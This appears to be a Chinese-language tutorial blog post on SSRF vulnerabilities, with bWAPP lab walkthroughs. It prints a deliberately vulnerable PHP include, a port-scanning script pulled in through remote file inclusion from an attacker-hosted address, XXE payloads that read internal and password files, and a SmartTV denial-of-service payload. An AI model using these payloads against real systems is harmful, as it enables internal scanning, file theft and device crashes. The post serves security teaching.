SSRF漏洞是如何產(chǎn)生的?
SSRF(Server-Side Request Forgery:服務(wù)器端請(qǐng)求偽造) 是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請(qǐng)求的一個(gè)安全漏洞。一般情況下,SSRF是要目標(biāo)網(wǎng)站的內(nèi)部系統(tǒng)。(因?yàn)樗菑膬?nèi)部系統(tǒng)訪(fǎng)問(wèn)的,所有可以通過(guò)它攻擊外網(wǎng)無(wú)法訪(fǎng)問(wèn)的內(nèi)部系統(tǒng),也就是把目標(biāo)網(wǎng)站當(dāng)中間人)
SSRF 形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能,且沒(méi)有對(duì)目標(biāo)地址做過(guò)濾與限制。比如從指定URL地址獲取網(wǎng)頁(yè)文本內(nèi)容,加載指定地址的圖片,文檔,等等。
上面的話(huà)說(shuō)的有點(diǎn)抽象,然后說(shuō)一下網(wǎng)上大佬的理解
首先,我們要對(duì)目標(biāo)網(wǎng)站的架構(gòu)了解,腦子了要有一個(gè)架構(gòu)圖。比如 : A網(wǎng)站,是一個(gè)所有人都可以訪(fǎng)問(wèn)的外網(wǎng)網(wǎng)站,B網(wǎng)站是一個(gè)他們內(nèi)部的OA網(wǎng)站。
所以,我們普通用戶(hù)只可以訪(fǎng)問(wèn)a網(wǎng)站,不能訪(fǎng)問(wèn)b網(wǎng)站。但是我們可以同過(guò)a網(wǎng)站做中間人,訪(fǎng)問(wèn)b網(wǎng)站,從而達(dá)到攻擊b網(wǎng)站需求。
正常用戶(hù)訪(fǎng)問(wèn)網(wǎng)站的流程是:
輸入A網(wǎng)站URL --> 發(fā)送請(qǐng)求 --> A服務(wù)器接受請(qǐng)求(沒(méi)有過(guò)濾),并處理 -->返回用戶(hù)響應(yīng)
【那網(wǎng)站有個(gè)請(qǐng)求是www.baidu,com/xxx.php?image=URL】
那么產(chǎn)生SSRF漏洞的環(huán)節(jié)在哪里呢?安全的網(wǎng)站應(yīng)接收請(qǐng)求后,檢測(cè)請(qǐng)求的合法性
產(chǎn)生的原因:服務(wù)器端的驗(yàn)證并沒(méi)有對(duì)其請(qǐng)求獲取圖片的參數(shù)(image=)做出嚴(yán)格的過(guò)濾以及限制,導(dǎo)致A網(wǎng)站可以從其他服務(wù)器的獲取數(shù)據(jù)
例如:
www.baidu.com/xxx.php?image=www.abc.com/1.jpg
如果我們將www.abd.com/1.jpg換為與該服務(wù)器相連的內(nèi)網(wǎng)服務(wù)器地址會(huì)產(chǎn)生什么效果呢?
如果存在該內(nèi)網(wǎng)地址就會(huì)返回1xx 2xx 之類(lèi)的狀態(tài)碼,不存在就會(huì)其他的狀態(tài)碼
終極簡(jiǎn)析: SSRF漏洞就是通過(guò)篡改獲取資源的請(qǐng)求發(fā)送給服務(wù)器,但是服務(wù)器并沒(méi)有檢測(cè)這個(gè)請(qǐng)求是否合法的,然后服務(wù)器以他的身份來(lái)訪(fǎng)問(wèn)其他服務(wù)器的資源。
ssrf用途
那么SSRF 可以做什么呢?
1.內(nèi)外網(wǎng)的端口和服務(wù)掃描
2.主機(jī)本地敏感數(shù)據(jù)的讀取
3.內(nèi)外網(wǎng)主機(jī)應(yīng)用程序漏洞的利用
4.內(nèi)外網(wǎng)Web站點(diǎn)漏洞的利用
......
SSRF漏洞的尋找(漏洞常見(jiàn)出沒(méi)位置):
注:個(gè)人覺(jué)得所有調(diào)外部資源的參數(shù)都有可能存在ssrf漏洞
1)分享:通過(guò)URL地址分享網(wǎng)頁(yè)內(nèi)容
2)轉(zhuǎn)碼服務(wù)
3)在線(xiàn)翻譯
4)圖片加載與下載:通過(guò)URL地址加載或下載圖片
5)圖片、文章收藏功能
6)未公開(kāi)的api實(shí)現(xiàn)以及其他調(diào)用URL的功能
7)從URL關(guān)鍵字中尋找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
SSRF漏洞的驗(yàn)證方法:
1)因?yàn)镾SRF漏洞是讓服務(wù)器發(fā)送請(qǐng)求的安全漏洞,所以我們就可以通過(guò)抓包分析發(fā)送的請(qǐng)求是否是由服務(wù)器的發(fā)送的,從而來(lái)判斷是否存在SSRF漏洞
2)在頁(yè)面源碼中查找訪(fǎng)問(wèn)的資源地址 ,如果該資源地址類(lèi)型為 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞
SSRF實(shí)例
1. bWAPP中的SSRF
bWAPP(buggy web Application) 這是一個(gè)集成了各種常見(jiàn)漏洞和最新漏洞的開(kāi)源Web應(yīng)用程序,集成了超過(guò)100種漏洞,個(gè)人覺(jué)得還是非常好用的,特別是在找漏洞利用示例的時(shí)候,往往能夠節(jié)省一些時(shí)間。
BWAPP:一款非常好用的漏洞演示平臺(tái)
安裝完畢后,使用bee/bug進(jìn)行登錄,登錄的時(shí)候的等級(jí)選擇為low,登錄后選擇SSRF的靶場(chǎng),然后點(diǎn)擊Hack進(jìn)行演練。

選擇ssrf測(cè)試
2. SSRF的3個(gè)小實(shí)驗(yàn)
bWAPP中的SSRF給出了3個(gè)小實(shí)驗(yàn)來(lái)說(shuō)明SSRF的利用場(chǎng)景:
任務(wù)1:使用(RFI)遠(yuǎn)程文件包含進(jìn)行端口掃描(內(nèi)網(wǎng)探測(cè))
任務(wù)2:使用XXE獲取敏感文件中的內(nèi)容(文件讀取)
任務(wù)3:使用XXE進(jìn)行SmartTV的拒絕服務(wù)漏洞的利用(漏洞利用)
RFI綜述
RFI是Remote File Inclusion的英文縮寫(xiě),直譯過(guò)來(lái)就是遠(yuǎn)程文件包含,文件包含的目的是:程序員編寫(xiě)程序時(shí),經(jīng)常會(huì)把需要重復(fù)使用的代碼寫(xiě)入一個(gè)單獨(dú)的文件中,當(dāng)需要調(diào)用這些代碼時(shí),再在其他文件中包含調(diào)用代碼的文件。
要了解遠(yuǎn)程文件包含,首要先了解php的文件包含機(jī)制:
PHP中常用的包含調(diào)用函數(shù)有:include(), require(), include_once(), require_once() .include失敗會(huì)彈出警告 而require則直接導(dǎo)致致命的錯(cuò)誤
寫(xiě)個(gè)例子吧,直接講下RFI:
s_hell.php(php.ini下開(kāi)啟allow_url_fopen allow_url_include)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
?>
http://10.22.10.191/Myphp/s_hell.php?file=https://bbs.ichunqiu.com

包含其實(shí)通俗點(diǎn)來(lái)講,就是把被包含的文件的代碼拿過(guò)來(lái)當(dāng)作自己的源碼的一部分,所以,php文件包含機(jī)制有個(gè)特性:哪怕被包含的文件是個(gè)txt文件,它也會(huì)被包含文件所在的服務(wù)器當(dāng)作腳本去執(zhí)行:
任務(wù)1:使用遠(yuǎn)程文件包含進(jìn)行端口掃描
點(diǎn)擊任務(wù)1中的Port scan可以獲得一份端口掃描的攻擊腳本

http://10.22.10.191/Myphp/ssrf-1.txt
<?php
/*
/*
bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for educational purposes only.
Enjoy!
Malik Mesellem
Twitter: @MME_IT
漏 2013 MME BVBA. All rights reserved.
*/
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{
//list of port numbers to scan
$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306); //要掃描的端口
$results = array(); //把端口開(kāi)放結(jié)果存在數(shù)組里
foreach($ports as $port) //遍歷端口
{
if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1)) //fsockopen()判斷端口開(kāi)放情況
{
$results[$port] = true; //結(jié)果放置在result數(shù)組里
fclose($pf);
}
else
{
$results[$port] = false;
}
}
foreach($results as $port=>$val) //遍歷結(jié)果數(shù)組 $port=>$val 鍵值對(duì)形式
{
$prot = getservbyport($port,"tcp"); /獲取端口服務(wù)
echo "Port $port ($prot): ";
if($val) //存在結(jié)果數(shù)組里的值是true,即為端口open,否則端口close
{
echo "<span style=\"color:green\">OK</span><br/>";
}
else
{
echo "<span style=\"color:red\">Inaccessible</span><br/>";
}
}
}
//echo phpinfo();
?>
進(jìn)入Remote & Local File Inclusion (RFI/LFI)的實(shí)驗(yàn)后,看到有個(gè)選擇語(yǔ)言的功能模塊,直接執(zhí)行下,觀(guān)察Get請(qǐng)求中的參數(shù),發(fā)現(xiàn)是典型文件包含問(wèn)題,language=lang_en.php
GET的請(qǐng)求: http://127.0.0.1/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go
使用如下PAYLOAD,遠(yuǎn)程包含并執(zhí)行掃描腳本探測(cè)內(nèi)網(wǎng)主機(jī)的端口和服務(wù)。
POST:http://10.22.10.191/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go
POST DATA:ip=10.22.8.113
10.22.10.191也就是攻擊者的主機(jī)ip,這里language=http://10.22.10.191/....是掃描腳本的訪(fǎng)問(wèn)地址,為了方便這里就用同一臺(tái)進(jìn)行測(cè)試了,10.22.8.113是要掃描的目標(biāo)主機(jī)地址,且該地址是language=http://10.22.10.191/主機(jī)無(wú)法訪(fǎng)問(wèn)到的,然后方便查看區(qū)分使用post請(qǐng)求提交要進(jìn)行掃描的目標(biāo)主機(jī)IP,掃描結(jié)束后便返回結(jié)果。

任務(wù)2:使用XXE獲取敏感文件中的內(nèi)容

先點(diǎn)擊任務(wù)2中的Access得到XXE的利用腳本http://127.0.0.1/BWAPP/evil/ssrf-2.txt。,然后訪(fǎng)問(wèn)XML External Entity Attacks (XXE)演練環(huán)境http://xxx.xxx.xxx/bWAPP/xxe-1.php,使用burpSuite抓包,并發(fā)送到repeater中進(jìn)行測(cè)試。
# Accesses a file on the internal network (1)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
測(cè)試中涉及的XXE知識(shí)可以參考http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA這篇文章。
使用http協(xié)議獲取/bWAPP/robots.txt的內(nèi)容。
使用php協(xié)議獲取/bWAPP/passwords/heroes.xml中的經(jīng)過(guò)base64編碼的數(shù)據(jù)。
使用file協(xié)議獲取bWAPP本機(jī)的/etc/passwd的內(nèi)容。
任務(wù)3:使用XXE進(jìn)行SmartTV的拒絕服務(wù)漏洞的利用(沒(méi)有演示環(huán)境,先留坑)
# Crashes my Samsung SmartTV (CVE-2013-4890) ;)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>





